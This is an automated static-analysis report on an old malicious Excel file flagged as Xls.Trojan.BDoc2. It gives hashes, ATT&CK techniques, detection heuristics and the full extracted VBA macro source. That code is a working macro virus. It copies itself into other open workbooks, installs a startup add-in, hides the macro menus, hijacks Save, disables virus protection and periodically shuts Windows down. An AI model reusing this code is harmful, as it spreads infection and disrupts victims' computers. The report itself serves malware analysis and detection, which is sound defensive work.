Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51088364acfcd38a…

MALICIOUS

Office (OLE)

38.0 KB Created: 2001-10-30 03:09:52 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: d121cb6ff9a19232527ef78864736978 SHA-1: d227f792375ae8462f000d3f57b7ce090b5cbade SHA-256: 51088364acfcd38a0283acde440bd0cd066ee47efaeaa11ee2fa92b7d1a4f9c5
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is an Excel document containing VBA macros, including an Auto_Open subroutine. The macros attempt to display messages about pirated software and potentially execute a system shutdown command via Shell("RUNDLL32.EXE user.exe,exitwindows"). The presence of Auto_Open and Shell() calls strongly suggests malicious intent, likely to deceive or disrupt the user.

Heuristics 6

  • ClamAV: Xls.Trojan.BDoc2-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.BDoc2-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3683 bytes
SHA-256: ab11e6c8b2e1ae7a645b5ab7cfe27d665012f87492787e4778f8dbd88273ecef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "bdoc2"
Dim SS As String
 Sub Auto_Open()
On Error Resume Next
d3
d1
End Sub
 Sub Auto_Close()
On Error Resume Next
d1
End Sub
 Sub Auto_Exec()
On Error Resume Next
Application.DisplayAlerts = False
Application.ScreenUpdating = False
Options.VirusProtection = False
End Sub
 Sub Auto_Exit()
On Error Resume Next
If Day(Now) = 26 Then
    If Month(Now) = 4 Then
        MsgBox "您使用的是盗版软件,请Email To:zdqjs@sina.com 寻求帮助", vbCritical
    Else
        MsgBox "您使用的是盗版软件", vbCritical
    End If
    
End If
If Day(Now) Mod 5 = 0 Then Shell ("RUNDLL32.EXE user.exe,exitwindows")
End Sub
Public Sub d1()
On Error Resume Next
SS = ""
pp = ThisWorkbook.VBProject.VBComponents("bdoc2").CodeModule.CountOfLines
SS = ThisWorkbook.VBProject.VBComponents("bdoc2").CodeModule.Lines(1, pp)
If SS = "" Then GoTo Label_Exit
     For I = 1 To Workbooks.Count
       Dname = Workbooks(I).FullName
       If Left$(Dname, 8) = "Document" Then GoTo Label_Next
       If Workbooks(I).VBProject.Protection = 1 Then GoTo Label_Next
       LL = -999999
       LL = Workbooks(I).VBProject.VBComponents("bdoc2").CodeModule.CountOfLines
       If LL = -999999 Then
          Set doc = Workbooks(I).VBProject.VBComponents.Add(1)
          doc.Name = "bdoc2"
          Workbooks(I).VBProject.VBComponents(doc.Name).CodeModule.AddFromString SS
          Workbooks(I).Save 'As FileName:=Dname
       End If
Label_Next:
     Next I
Label_Exit:
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub

Sub d2()
'
End Sub

Sub d3()
On Error Resume Next
Application.DisplayAlerts = False
Application.ScreenUpdating = False

CommandBars("Tools").Protection = msoBarNoCustomize
For I = 1 To CommandBars("Tools").Controls.Count
aa = Left(CommandBars("Tools").Controls(I).Caption, 3)
If Left(aa, 1) = "宏" Or aa = "自定义" Then
CommandBars("Tools").Controls(I).Visible = False
End If
Next I

CommandBars("File").Protection = msoBarNoCustomize
CommandBars("standard").Protection = msoBarNoCustomize

nnn = "AutoRun.xla"
LL = -999999
LL = Workbooks(nnn).VBProject.VBComponents("bdoc2").CodeModule.CountOfLines
nnn = Application.StartupPath & "\" & nnn
If LL = -999999 Then
    ThisWorkbook.Activate
    ActiveWindow.Visible = False
    ThisWorkbook.IsAddin = True
    ThisWorkbook.TemplateRemoveExtData = True
    ThisWorkbook.SaveLinkValues = False
    mmm = ThisWorkbook.FullName
    ThisWorkbook.SaveAs nnn, 18
    Workbooks.Open mmm
End If
    For I = 1 To 6
        If Left(CommandBars("File").Controls(I).Caption, 2) = "保存" Then CommandBars("File").Controls(I).OnAction = nnn & "!Auto_Save"
        If Left(CommandBars("standard").Controls(I).Caption, 2) = "保存" Then CommandBars("standard").Controls(I).OnAction = nnn & "!Auto_Save"
    Next I
End Sub

Public Sub Auto_Save()
On Error Resume Next
    d1
    d3
    ActiveWorkbook.Save
    Auto_Exit
End Sub

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